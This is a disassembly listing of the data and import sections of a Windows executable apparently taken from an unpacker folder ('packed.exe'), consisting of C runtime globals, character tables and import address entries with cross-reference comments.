byte_4F47D4	db 2 dup(0)		; DATA XREF: _time+109w
word_4F47D6	dw 0			; DATA XREF: _time+52r
dword_4F47D8	dd 0			; DATA XREF: _time+3Dr	_time+112w ...
dword_4F47DC	dd 0			; DATA XREF: _time+11Aw
dword_4F47E0	dd 0			; DATA XREF: start+C3w	__setenvp+1Br ...
		align 8
dword_4F47E8	dd 0			; DATA XREF: __amsg_exit+3r
					; _fast_error_exit+3r ...
dword_4F47EC	dd 0			; DATA XREF: __openfile:loc_4288B5r
					; __openfile+2CEw ...
dword_4F47F0	dd 0			; DATA XREF: __CrtDbgReport+93r
					; __CrtDbgReport+C8w ...
dword_4F47F4	dd 0			; DATA XREF: _malloc+Ar
					; __malloc_dbg+10r ...
dword_4F47F8	dd 0			; DATA XREF: _set_new_handler(int (*)(uint))+Er
					; _set_new_handler(int (*)(uint))+19w ...
		align 10h
dword_4F4800	dd 143E28h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_452D14o
dword_4F4818	dd 143DB0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_452D54o
dword_4F4830	dd 143E00h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_452D34o
dword_4F4848	dd 143DD8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_452D44o
dword_4F4860	dd 0			; DATA XREF: ___sbh_decommit_pages+8Br
					; ___sbh_decommit_pages+93w ...
dword_4F4864	dd 1			; DATA XREF: __setmbcp:loc_42A272r
					; _getSystemCP+3w ...
dword_4F4868	dd 0			; DATA XREF: __stbuf+A6r __stbuf+C9w ...
		align 10h
dword_4F4870	dd 0			; DATA XREF: __strcmpi+Co
					; __setlocale_set_cat+82r ...
		align 8
; int dword_4F4878
dword_4F4878	dd 0			; DATA XREF: __strupr+Dr
					; __strupr:loc_4224D6r	...
dword_4F487C	dd 0			; DATA XREF: ___init_monetary+4r
dword_4F4880	dd 0			; DATA XREF: ___init_numeric+18r
dword_4F4884	dd 0			; DATA XREF: ___init_time+4r
dword_4F4888	dd 0			; DATA XREF: __mbstowcs_lk+B9r
					; __mbstowcs_lk+16Cr ...
dword_4F488C	dd 0			; DATA XREF: __setlocale_set_cat+11Fw
dword_4F4890	dd 0			; DATA XREF: __expandlocale+C7o
					; __expandlocale+140o
word_4F4894	dw 0			; DATA XREF: __expandlocale+E8r
		align 4
dword_4F4898	dd 0			; DATA XREF: __expandlocale+EFw
					; __expandlocale+159o
dword_4F489C	dd 1			; DATA XREF: ___crtLCMapStringA+26r
					; ___crtLCMapStringA+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+19o
					; __setargv+26o ...
		align 4
		dd 3Ah dup(0)
dword_4F49A4	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+14r
					; ___crtGetEnvironmentStringsA+2Cw ...
dword_4F49A8	dd 0			; DATA XREF: __FF_MSGBANNER+2Br
					; __FF_MSGBANNER+34r
dword_4F49AC	dd 0			; DATA XREF: .text:loc_431476r
					; .text:00431482w ...
dword_4F49B0	dd 0			; DATA XREF: .text:loc_43148Ar
					; .text:00431495w ...
dword_4F49B4	dd 0			; DATA XREF: .text:loc_43149Dr
					; .text:004314A9w ...
dword_4F49B8	dd 0			; DATA XREF: .text:loc_4314B0r
					; .text:004314BCw ...
dword_4F49BC	dd 0			; DATA XREF: .text:loc_43140Ar
					; .text:00431425w
dword_4F49C0	dd 0			; DATA XREF: ___crtMessageBoxA+Dr
					; ___crtMessageBoxA+39w ...
dword_4F49C4	dd 0			; DATA XREF: ___crtMessageBoxA+5Aw
					; ___crtMessageBoxA:loc_4319C3r ...
dword_4F49C8	dd 0			; DATA XREF: ___crtMessageBoxA+6Ew
					; ___crtMessageBoxA+8Br ...
dword_4F49CC	dd 1			; DATA XREF: ___crtGetStringTypeA+26r
					; ___crtGetStringTypeA+46w ...
dword_4F49D0	dd 0			; DATA XREF: __openfile+9r
; int (__stdcall *dword_4F49D4)()
dword_4F49D4	dd 77C26E79h		; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_433DBEr
					; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+37r ...
dword_4F49D8	dd 0			; DATA XREF: __tzset_lk+17w
					; __tzset_lk+6Dw ...
		align 10h
dword_4F49E0	dd 0			; DATA XREF: __tzset_lk+59o
					; __tzset_lk+77r
dword_4F49E4	dd 10h dup(0)		; DATA XREF: __tzset_lk+103o
word_4F4A24	dw 0			; DATA XREF: sub_434320+FCr
word_4F4A26	dw 0			; DATA XREF: __tzset_lk+88r
					; sub_434320+145r ...
word_4F4A28	dw 0			; DATA XREF: sub_434320+132r
word_4F4A2A	dw 0			; DATA XREF: sub_434320+13Br
					; sub_434320+18Br
word_4F4A2C	dw 0			; DATA XREF: sub_434320+126r
					; sub_434320+181r
word_4F4A2E	dw 0			; DATA XREF: sub_434320+11Cr
					; sub_434320+177r
word_4F4A30	dw 0			; DATA XREF: sub_434320+113r
					; sub_434320+16Er
word_4F4A32	dw 0			; DATA XREF: sub_434320+109r
					; sub_434320+164r
dword_4F4A34	dd 0			; DATA XREF: __tzset_lk+93r
					; __tzset_lk+CEr
dword_4F4A38	dd 10h dup(0)		; DATA XREF: __tzset_lk+149o
word_4F4A78	dw 0			; DATA XREF: sub_434320+43r
word_4F4A7A	dw 0			; DATA XREF: __tzset_lk+ABr
					; sub_434320+8Cr ...
word_4F4A7C	dw 0			; DATA XREF: sub_434320+79r
word_4F4A7E	dw 0			; DATA XREF: sub_434320+82r
					; sub_434320+D2r
word_4F4A80	dw 0			; DATA XREF: sub_434320+6Dr
					; sub_434320+C8r
word_4F4A82	dw 0			; DATA XREF: sub_434320+63r
					; sub_434320+BEr
word_4F4A84	dw 0			; DATA XREF: sub_434320+5Ar
					; sub_434320+B5r
word_4F4A86	dw 0			; DATA XREF: sub_434320+50r
					; sub_434320+ABr
dword_4F4A88	dd 0			; DATA XREF: __tzset_lk+B6r
					; __tzset_lk+C9r
; char *dword_4F4A8C
dword_4F4A8C	dd 0			; DATA XREF: __tzset_lk+18Dr
					; __tzset_lk+196r ...
dword_4F4A90	dd 0			; DATA XREF: ___tzset+3r ___tzset+16r	...
dword_4F4A94	dd 0			; DATA XREF: ___init_time+75r
					; ___init_time+86r ...
dword_4F4A98	dd 0			; DATA XREF: ___init_numeric+25o
					; ___init_numeric+93r ...
dword_4F4A9C	dd 0			; DATA XREF: ___init_numeric+42o
					; ___init_numeric+A3r ...
dword_4F4AA0	dd 0			; DATA XREF: ___init_numeric+5Fo
					; ___init_numeric+7Cr ...
dword_4F4AA4	dd 0			; DATA XREF: ___init_monetary+A0r
					; ___init_monetary+B1r	...
dword_4F4AA8	dd 0			; DATA XREF: unknown_libname_24+2AAr
					; unknown_libname_24+2B5r ...
dword_4F4AAC	dd 0			; DATA XREF: unknown_libname_24+2CCr
					; unknown_libname_24+2D7r ...
dword_4F4AB0	dd 3 dup(0)		; DATA XREF: __setlocale_set_cat+94o
					; __setlocale_set_cat+F3o
word_4F4ABC	dw 0			; DATA XREF: unknown_libname_24+36r
		align 10h
		dd 0
word_4F4AC4	dw 0			; DATA XREF: __get_lc_lconv+Fr
		align 4
		db 2 dup(0)
word_4F4ACA	dw 0			; DATA XREF: ___init_numeric+Fr
		db 2 dup(0)
word_4F4ACE	dw 0			; DATA XREF: __get_lc_time+Fr
word_4F4AD0	dw 0			; DATA XREF: __get_lc_time+1Ar
		align 4
dword_4F4AD4	dd 0			; DATA XREF: ___get_qualified_locale+155r
					; ___get_qualified_locale+176r	...
dword_4F4AD8	dd 0			; DATA XREF: _GetLcidFromLangCountry+37w
					; LangCountryEnumProc(x)+1Br ...
; size_t MaxCount
MaxCount	dd 0			; DATA XREF: _GetLcidFromLangCountry+6Ew
					; LangCountryEnumProc(x)+101r ...
dword_4F4AE0	dd 0			; DATA XREF: _GetLcidFromLangCountry+1Aw
					; _GetLcidFromLangCountry+47r ...
; char *dword_4F4AE4
dword_4F4AE4	dd 0			; DATA XREF: ___get_qualified_locale+45w
					; ___get_qualified_locale+4Br ...
; char *dword_4F4AE8
dword_4F4AE8	dd 0			; DATA XREF: ___get_qualified_locale+7Aw
					; ___get_qualified_locale+80r ...
dword_4F4AEC	dd 0			; DATA XREF: ___get_qualified_locale:loc_435E09w
					; ___get_qualified_locale:loc_435E6Er ...
dword_4F4AF0	dd 0			; DATA XREF: ___get_qualified_locale+182r
					; ___get_qualified_locale+1CBr	...
dword_4F4AF4	dd 0			; DATA XREF: ___get_qualified_locale+6r
					; ___get_qualified_locale+2Cw ...
dword_4F4AF8	dd 0			; DATA XREF: __sopen:loc_4323ECr
byte_4F4AFC	db 0			; DATA XREF: sub_439950+18Fo
					; sub_439950+1F2r ...
		align 10h
		dd 0
dword_4F4B04	dd 0			; DATA XREF: __free_lc_lconv+11o
					; .data:off_45600Co ...
dword_4F4B08	dd 0			; DATA XREF: ___crtGetStringTypeW+26r
					; ___crtGetStringTypeW+46w ...
dword_4F4B0C	dd 0			; DATA XREF: ___crtGetLocaleInfoW+26r
					; ___crtGetLocaleInfoW+41w ...
dword_4F4B10	dd 0			; DATA XREF: ___crtGetLocaleInfoA+26r
					; ___crtGetLocaleInfoA+41w ...
dword_4F4B14	dd 0			; DATA XREF: ___crtCompareStringA+26r
					; ___crtCompareStringA+4Bw ...
dword_4F4B18	dd 0			; DATA XREF: ___crtLCMapStringW+26r
					; ___crtLCMapStringW+4Bw ...
byte_4F4B1C	db 1			; DATA XREF: sub_40E2ECr sub_40E2EC+9w
		align 10h
dword_4F4B20	dd 0			; DATA XREF: sub_438A30+90w
					; sub_438A30+A5w ...
dword_4F4B24	dd 0			; DATA XREF: sub_438BC0+1C4w
					; sub_438BC0+1EDw ...
		dd 6 dup(0)
dword_4F4B40	dd 941F58h		; DATA XREF: ___initstdio+EDr
					; ___initstdio+109r ...
		dd 3Fh dup(0)
dword_4F4C40	dd 20h			; DATA XREF: __close+7r __read+7r ...
dword_4F4C44	dd 0			; DATA XREF: __strcmpi+5Ar
					; __strupr+68r	...
dword_4F4C48	dd 0			; DATA XREF: __strcmpi:loc_421D83w
					; __strcmpi:loc_421D97w ...
dword_4F4C4C	dd 4E4h			; DATA XREF: __setmbcp+22r
					; __setmbcp+14Aw ...
word_4F4C50	dw 0			; DATA XREF: __setmbcp+19Aw
					; __setmbcp+2F3w ...
		align 4
		dd 2 dup(0)
dword_4F4C5C	dd 0			; DATA XREF: __setmbcp+150w
					; __setmbcp+2C2w ...
byte_4F4C60	db 0			; DATA XREF: _setSBUpLow+1CEw
					; _setSBUpLow+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4F4D60	db 0			; DATA XREF: __setmbcp+ABw
					; __setmbcp+1F4w ...
byte_4F4D61	db 0			; DATA XREF: __splitpath+92r
					; __setmbcp+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4F4E64	dd 0			; DATA XREF: __setmbcp+169w
					; __setmbcp+205w ...
dword_4F4E68	dd 940000h		; DATA XREF: sub_41E4D0+8Dr
					; sub_41E4D0+FBr ...
dword_4F4E6C	dd 1			; DATA XREF: sub_41E4D0:loc_41E501r
					; sub_41E4D0:loc_41E56Er ...
dword_4F4E70	dd 0			; DATA XREF: ___sbh_heap_init+51w
					; ___sbh_alloc_new_region+9r ...
dword_4F4E74	dd 0			; DATA XREF: sub_424FD0+484r
					; sub_424FD0+4B3r ...
dword_4F4E78	dd 0			; DATA XREF: ___sbh_heap_init+37w
					; sub_424FD0+5C1w ...
		align 10h
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init+3Dw
					; sub_424FD0+477r ...
dword_4F4E84	dd 0			; DATA XREF: ___sbh_heap_init+47w
					; ___sbh_find_block+6r	...
dword_4F4E88	dd 0			; DATA XREF: ___sbh_heap_init+16w
					; ___sbh_heap_init+1Br	...
dword_4F4E8C	dd 0			; DATA XREF: __heap_alloc_base+2Fr
					; sub_424440+6Dr ...
dword_4F4E90	dd 0			; DATA XREF: .text:00423414r
					; .text:0042341Fw ...
dword_4F4E94	dd 943250h		; DATA XREF: ___initstdio+48w
					; ___initstdio+4Dr ...
		align 10h
dword_4F4EA0	dd 129h	dup(0)		; DATA XREF: .data:off_452A68o
					; .data:00452A70o
		db 0
byte_4F5345	db 3 dup(0)		; DATA XREF: .data:00455B50o
					; .data:00455EA4o
		dd 43h dup(0)
dword_4F5454	dd 293h	dup(0)		; DATA XREF: .data:00455D1Co
dword_4F5EA0	dd 200h			; DATA XREF: ___initstdio+4r
					; ___initstdio+Dw ...
dword_4F5EA4	dd 142340h		; DATA XREF: start+B9w
					; __wincmdln:loc_430092r ...
dword_4F5EA8	dd 1			; DATA XREF: __setenvp+13Bw _getenv+Er
dword_4F5EAC	dd 1			; DATA XREF: ___initmbctable+3r
					; ___initmbctable+16w ...
dword_4F5EB0	dd 94241Ch		; DATA XREF: _doexit+45r __onexit+19r	...
dword_4F5EB4	dd 942410h		; DATA XREF: _doexit+3Cr _doexit+5Ar ...
dword_4F5EB8	dd 0			; DATA XREF: .text:0041E734r
					; .text:0041E73Fw ...
byte_4F5EBC	db 1			; DATA XREF: sub_43B830+5r
					; sub_43B830+11r ...
_data		ends

; Section 4. (virtual address 000F6000)
; Virtual size			: 00000FD0 (   4048.)
; Section size in file		: 00000FD0 (   4048.)
; Offset to raw	data for section: 000F6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 4F6000h
		dd 0F6284h, 2 dup(0)
		dd 0F65A2h, 0F6518h, 0F629Ch, 2	dup(0)
		dd 0F65B8h, 0F6530h, 0F628Ch, 2	dup(0)
		dd 0F6606h, 0F6520h, 0F6064h, 2	dup(0)
		dd 0F6FC2h, 0F62F8h, 5 dup(0)
		dd 0F69E6h, 0F6FA8h, 0F6F96h, 0F6F84h, 0F6F72h,	0F6F62h
		dd 0F6F4Ch, 0F6F36h, 0F6F24h, 0F6F14h, 0F6F04h,	0F6EE6h
		dd 0F6ED4h, 0F6EC2h, 0F6EAEh, 0F6E9Eh, 0F6E90h,	0F6E7Eh
		dd 0F6E64h, 0F6E4Ch, 0F6E32h, 0F6E18h, 0F6DFCh,	0F6DECh
		dd 0F6DDCh, 0F6DCAh, 0F6DBEh, 0F6DB4h, 0F6DA8h,	0F6612h
		dd 0F6620h, 0F662Eh, 0F6640h, 0F6656h, 0F666Ch,	0F6674h
		dd 0F6684h, 0F6692h, 0F66A0h, 0F66B6h, 0F66C6h,	0F66D2h
		dd 0F66E8h, 0F66FEh, 0F6712h, 0F6728h, 0F6738h,	0F6748h
		dd 0F675Ah, 0F676Ah, 0F6776h, 0F6786h, 0F6798h,	0F67ACh
		dd 0F67BEh, 0F67CEh, 0F67DCh, 0F67F4h, 0F680Ch,	0F6834h
		dd 0F684Ch, 0F6858h, 0F6868h, 0F6874h, 0F6882h,	0F6896h
		dd 0F68A8h, 0F68BCh, 0F68CAh, 0F68DCh, 0F68EEh,	0F68FCh
		dd 0F6908h, 0F6920h, 0F693Ah, 0F694Ah, 0F695Ch,	0F696Eh
		dd 0F6986h, 0F69A0h, 0F69BCh, 0F69CCh, 0F6A02h,	0F6A10h
		dd 0F6A2Ah, 0F6A36h, 0F6A42h, 0F6A54h, 0F6A66h,	0F6A7Ah
		dd 0F6A8Ah, 0F6A9Ch, 0F6AACh, 0F6ABAh, 0F6ACCh,	0F6ADCh
		dd 0F6AF2h, 0F6B00h, 0F6B0Eh, 0F6B2Ah, 0F6B40h,	0F6B56h
		dd 0F6B62h, 0F6B78h, 0F6B88h, 0F6B9Ch, 0F6BB2h,	0F6BC2h
		dd 0F6BD2h, 0F6BE2h, 0F6BEEh, 0F6C08h, 0F6C18h,	0F6C30h
		dd 0F6C48h, 0F6C5Ah, 0F6C6Ch, 0F6C7Ah, 0F6C88h,	0F6C98h
		dd 0F6CAEh, 0F6CCAh, 0F6CDAh, 0F6CE8h, 0F6CF6h,	0F6D06h
		dd 0F6D20h, 0F6D2Eh, 0F6D3Ch, 0F6D52h, 0F6D60h,	0F6D6Ch
		dd 0F6D76h, 0F6D86h, 0F6D94h, 0
		dd 0F658Ch, 0
		dd 0F65C4h, 0F65D6h, 0F65ECh, 0
		dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
		dd 80000015h, 8000000Ah, 80000002h, 0F65AAh, 80000001h
		dd 80000034h, 8000000Bh, 80000009h, 80000004h, 80000010h
		dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
		dd 80000006h, 8000000Dh, 0
dword_4F62F8	dd 77E6D75Bh		; DATA XREF: sub_4135C1+182r
					; sub_414324+FFr ...
dword_4F62FC	dd 77E6BD68h		; DATA XREF: ___crtsetenv+2C5r
					; .text:0043BC46r
dword_4F6300	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA+41r
					; ___crtCompareStringA+3DAr ...
dword_4F6304	dd 77E762D0h		; DATA XREF: ___crtCompareStringA+69r
					; ___crtCompareStringA+D9r ...
dword_4F6308	dd 77E78723h		; DATA XREF: ___crtGetLocaleInfoW+37r
					; ___crtGetLocaleInfoW+8Br ...
dword_4F630C	dd 77E70192h		; DATA XREF: __chsize_lk+1D8r
					; .text:0043BC2Er
dword_4F6310	dd 77E79C94h		; DATA XREF: _GetLcidFromDefault+12r
					; .text:0043BC28r
dword_4F6314	dd 77E6363Bh		; DATA XREF: _GetLcidFromLangCountry+7Ar
					; _GetLcidFromLanguage+53r ...
dword_4F6318	dd 77E75243h		; DATA XREF: ___get_qualified_locale+142r
					; .text:0043BC1Cr
dword_4F631C	dd 77E752B8h		; DATA XREF: ___get_qualified_locale+15Cr
					; .text:0043BC16r
dword_4F6320	dd 77E7176Ch		; DATA XREF: _ValidateExecute(int (*)(void))+Fr
					; .text:0043BC10r
dword_4F6324	dd 77E7C9E7h		; DATA XREF: __CxxSetUnhandledExceptionFilter(void)+8r
					; __CxxRestoreUnhandledExceptionFilter(void)+9r ...
dword_4F6328	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+3Cr
					; ___crtGetStringTypeA+19Er ...
dword_4F632C	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+61r
					; ___crtGetStringTypeA+AAr ...
dword_4F6330	dd 77E73FF9h		; DATA XREF: unknown_libname_21+7Fr
					; .text:0043BBF8r
dword_4F6334	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd+58r
					; __set_osfhnd+66r ...
dword_4F6338	dd 77E78406h		; DATA XREF: __ioinit+1E6r
					; __ioinit+29Br ...
dword_4F633C	dd 77E7C931h		; DATA XREF: __ioinit+31Ar
					; .text:0043BBE6r
dword_4F6340	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+1Dr
					; ___crtGetEnvironmentStringsA+6Dr ...
dword_4F6344	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_4307D8r
					; ___crtGetEnvironmentStringsA+171r ...
dword_4F6348	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+108r
					; ___crtGetEnvironmentStringsA+150r ...
dword_4F634C	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+1E6r
					; ___crtGetEnvironmentStringsA+208r ...
dword_4F6350	dd 77EB9A84h		; DATA XREF: __XcptFilter+37r
					; .text:0043BBC8r
dword_4F6354	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+41r
					; ___crtLCMapStringA+1A5r ...
dword_4F6358	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+69r
					; ___crtLCMapStringA+C0r ...
dword_4F635C	dd 77E6D706h		; DATA XREF: __raise_exc+35Ar
					; .text:0043BBB6r ...
dword_4F6360	dd 77E6C703h		; DATA XREF: _getSystemCP+1Dr
					; .text:0043BBB0r
dword_4F6364	dd 77E7A13Fh		; DATA XREF: _getSystemCP+35r
					; .text:0043BBAAr
dword_4F6368	dd 77E7849Fh		; DATA XREF: __setmbcp+1C7r
					; _setSBUpLow+17r ...
dword_4F636C	dd 77E75CB5h		; DATA XREF: sub_401317+DFr
					; WinMain(x,x,x,x)+7Ar	...
dword_4F6370	dd 77E77963h		; DATA XREF: sub_401317+B8r
					; WinMain(x,x,x,x)+2DBr ...
dword_4F6374	dd 77E61BB8h		; DATA XREF: sub_401317+A7r
					; WinMain(x,x,x,x)+2C3r ...
dword_4F6378	dd 77E7A099h		; DATA XREF: sub_401317+83r
					; WinMain(x,x,x,x)+DAr	...
dword_4F637C	dd 77E704FCh		; DATA XREF: sub_401317+74r
					; WinMain(x,x,x,x)+C4r	...
dword_4F6380	dd 77E61BE6h		; DATA XREF: sub_401317+29r
					; WinMain(x,x,x,x)+1F4r ...
dword_4F6384	dd 77E7AC37h		; DATA XREF: WinMain(x,x,x,x)+3C1r
					; sub_401CC7+790r ...
dword_4F6388	dd 77E73628h		; DATA XREF: WinMain(x,x,x,x)+33Br
					; sub_401CC7+79CBr ...
dword_4F638C	dd 77E706B7h		; DATA XREF: WinMain(x,x,x,x)+274r
					; sub_417E1E+15r ...
dword_4F6390	dd 77E80656h		; DATA XREF: WinMain(x,x,x,x)+267r
					; .text:0043B958r
dword_4F6394	dd 77F5157Dh		; DATA XREF: WinMain(x,x,x,x)+1D8r
					; WinMain(x,x,x,x)+3E6r ...
dword_4F6398	dd 77E6BD13h		; DATA XREF: WinMain(x,x,x,x):loc_4015D6r
					; .text:0041C0E1r ...
dword_4F639C	dd 77E70396h		; DATA XREF: WinMain(x,x,x,x)+1B5r
					; WinMain(x,x,x,x)+221r ...
dword_4F63A0	dd 77E74CABh		; DATA XREF: WinMain(x,x,x,x)+19Er
					; sub_41016C+110r ...
dword_4F63A4	dd 77E79F93h		; DATA XREF: WinMain(x,x,x,x)+D3r
					; sub_409E0C+2r ...
dword_4F63A8	dd 77E79D5Bh		; DATA XREF: WinMain(x,x,x,x)+6Br
					; WinMain(x,x,x,x)+311r ...
dword_4F63AC	dd 77E7C2C4h		; DATA XREF: WinMain(x,x,x,x)+64r
					; .text:0043B982r
dword_4F63B0	dd 77E7751Ah		; DATA XREF: WinMain(x,x,x,x)+2Cr
					; sub_401CC7+2555r ...
dword_4F63B4	dd 77E75CEBh		; DATA XREF: sub_401CC7+7C23r
					; sub_40B8C9+2Br ...
dword_4F63B8	dd 77E6AD34h		; DATA XREF: sub_401CC7+6AFFr
					; sub_41912E+35r ...
dword_4F63BC	dd 77E71AFEh		; DATA XREF: sub_401CC7+68C7r
					; .text:0043B99Ar
dword_4F63C0	dd 77E805D8h		; DATA XREF: sub_409E0C+13Ar
					; sub_409E0C:loc_40A31Ar ...
dword_4F63C4	dd 77E7A5FDh		; DATA XREF: sub_409E0C+11r
					; sub_417AC3+60r ...
dword_4F63C8	dd 77E65F4Ch		; DATA XREF: sub_40B1BA+26r
					; sub_41A498+34r ...
dword_4F63CC	dd 77E7513Ch		; DATA XREF: sub_40B260+22r
					; ___get_qualified_locale+18r ...
dword_4F63D0	dd 77E7C657h		; DATA XREF: sub_40B2D5+21r
					; sub_4192B6+32r ...
dword_4F63D4	dd 77E73C49h		; DATA XREF: sub_40B7F9+4Ar
					; sub_40BF39+1AFr ...
dword_4F63D8	dd 77F7E300h		; DATA XREF: sub_40C989+142r
					; __unlock_file+35r ...
dword_4F63DC	dd 77F7E21Fh		; DATA XREF: sub_40C989+D7r
					; __lock_file+35r ...
dword_4F63E0	dd 77E7C706h		; DATA XREF: sub_40CBA1+77r
					; .text:0043B9D0r
dword_4F63E4	dd 77F53275h		; DATA XREF: sub_40CBA1+6Br
					; sub_40CBA1+22Fr ...
dword_4F63E8	dd 77E79D8Ch		; DATA XREF: sub_40E311+94r
					; sub_40E3FF+184r ...
dword_4F63EC	dd 77E737DEh		; DATA XREF: sub_40E3FF+43Dr
					; .text:0043B9E2r
dword_4F63F0	dd 77E78B82h		; DATA XREF: sub_40E3FF+1ACr
					; sub_40E3FF+49Cr ...
dword_4F63F4	dd 77E7A837h		; DATA XREF: sub_40E3FF+AAr
					; sub_41016C+1CBr ...
dword_4F63F8	dd 77E616B4h		; DATA XREF: sub_40EFAC+19Br
					; sub_41178E+115r ...
dword_4F63FC	dd 77E79CE3h		; DATA XREF: sub_40EFAC+111r
					; sub_4119D8+77r ...
dword_4F6400	dd 77E79C90h		; DATA XREF: sub_40EFAC+FDr
					; sub_40EFAC+10Ar ...
dword_4F6404	dd 77E7727Ah		; DATA XREF: sub_40EFAC+74r
					; sub_4118DF+23r ...
dword_4F6408	dd 77E64106h		; DATA XREF: sub_40FFE9+A0r
					; sub_41B964+1B6r ...
dword_4F640C	dd 77E64006h		; DATA XREF: sub_40FFE9+8Cr
					; sub_41B964+19Fr ...
dword_4F6410	dd 77E793EFh		; DATA XREF: sub_41016C+1F5r
					; sub_410AA9+38r ...
dword_4F6414	dd 77E78EAAh		; DATA XREF: sub_410423+5ECr
					; sub_417975+BAr ...
dword_4F6418	dd 77E79424h		; DATA XREF: sub_410423+280r
					; sub_417E1E+135r ...
dword_4F641C	dd 77E794BFh		; DATA XREF: sub_410423+272r
					; sub_417E1E+123r ...
dword_4F6420	dd 77E75E67h		; DATA XREF: sub_410423+212r
					; sub_410423+5DBr ...
dword_4F6424	dd 77E75D9Eh		; DATA XREF: sub_410423+201r
					; sub_417975+26r ...
dword_4F6428	dd 77E78C81h		; DATA XREF: sub_410AA9+6Cr
					; sub_4169B8+259r ...
dword_4F642C	dd 77E76968h		; DATA XREF: sub_411506+5Fr
					; .text:0043141Ar ...
dword_4F6430	dd 77E74C59h		; DATA XREF: sub_41178E+C7r
					; .text:0043BA48r
dword_4F6434	dd 77EC7C51h		; DATA XREF: sub_411B63+5Er
					; .text:0043BA4Er
dword_4F6438	dd 77E70F89h		; DATA XREF: sub_4126CC+Er
					; sub_415C77+Dr ...
dword_4F643C	dd 77E802FCh		; DATA XREF: sub_4135C1+18Cr
					; sub_4135C1+2D4r ...
dword_4F6440	dd 77E80618h		; DATA XREF: sub_417AC3+170r
					; sub_4194A9+D4r ...
dword_4F6444	dd 77E78147h		; DATA XREF: sub_417AC3+BCr
					; .text:0043BA6Cr
dword_4F6448	dd 77F51597h		; DATA XREF: sub_417C95+41r
					; sub_417C95+F5r ...
dword_4F644C	dd 77F516F8h		; DATA XREF: sub_417C95+21r
					; sub_417E1E+4Ar ...
dword_4F6450	dd 77E77CB7h		; DATA XREF: sub_417C95+10r
					; sub_417E1E+40r ...
dword_4F6454	dd 77E7F01Ah		; DATA XREF: sub_417E1E+88r
					; sub_417FC5+55r ...
dword_4F6458	dd 77E61A54h		; DATA XREF: sub_417E1E+56r
					; sub_417FC5+97r ...
dword_4F645C	dd 77E7C3A5h		; DATA XREF: sub_417E1E+34r
					; sub_417FC5+2Er ...
dword_4F6460	dd 77E76A60h		; DATA XREF: sub_418E9D+2Dr
					; .text:0043BA96r
dword_4F6464	dd 77E71B14h		; DATA XREF: sub_418F27+26r
					; .text:0043BA9Cr
dword_4F6468	dd 77E7166Fh		; DATA XREF: sub_418F27+1Dr
					; .text:0043BAA2r
dword_4F646C	dd 77E75090h		; DATA XREF: sub_418F62+6Cr
					; .text:0043BAA8r
dword_4F6470	dd 77E74D76h		; DATA XREF: sub_418F62+39r
					; .text:0043BAAEr
dword_4F6474	dd 77E77797h		; DATA XREF: sub_418F62+28r
					; .text:0043BAB4r
dword_4F6478	dd 77E7011Ah		; DATA XREF: sub_418FE7+96r
					; .text:0041C581r ...
dword_4F647C	dd 77E73CE2h		; DATA XREF: sub_418FE7+60r
					; .text:0041C261r ...
dword_4F6480	dd 77E668D9h		; DATA XREF: sub_41912E+15Dr
					; .text:0043BAC6r
dword_4F6484	dd 77E79924h		; DATA XREF: sub_419A5D+13r
					; ___crtLCMapStringA+2A5r ...
dword_4F6488	dd 77E77CCEh		; DATA XREF: sub_419B2F+Fr
					; sub_41C0EF+1Er ...
dword_4F648C	dd 77E76A2Eh		; DATA XREF: sub_41A5C1+DEr
					; .text:0043BAD8r
dword_4F6490	dd 77E7FF65h		; DATA XREF: sub_41AA28+5Ar
					; .text:0043BADEr
dword_4F6494	dd 77EB7624h		; DATA XREF: sub_41AA28+3Dr
					; .text:0043BAE4r
dword_4F6498	dd 77E6C29Dh		; DATA XREF: sub_41B0B9+1EAr
					; .text:0043BAEAr
dword_4F649C	dd 77E76C1Ah		; DATA XREF: sub_41B964+1CFr
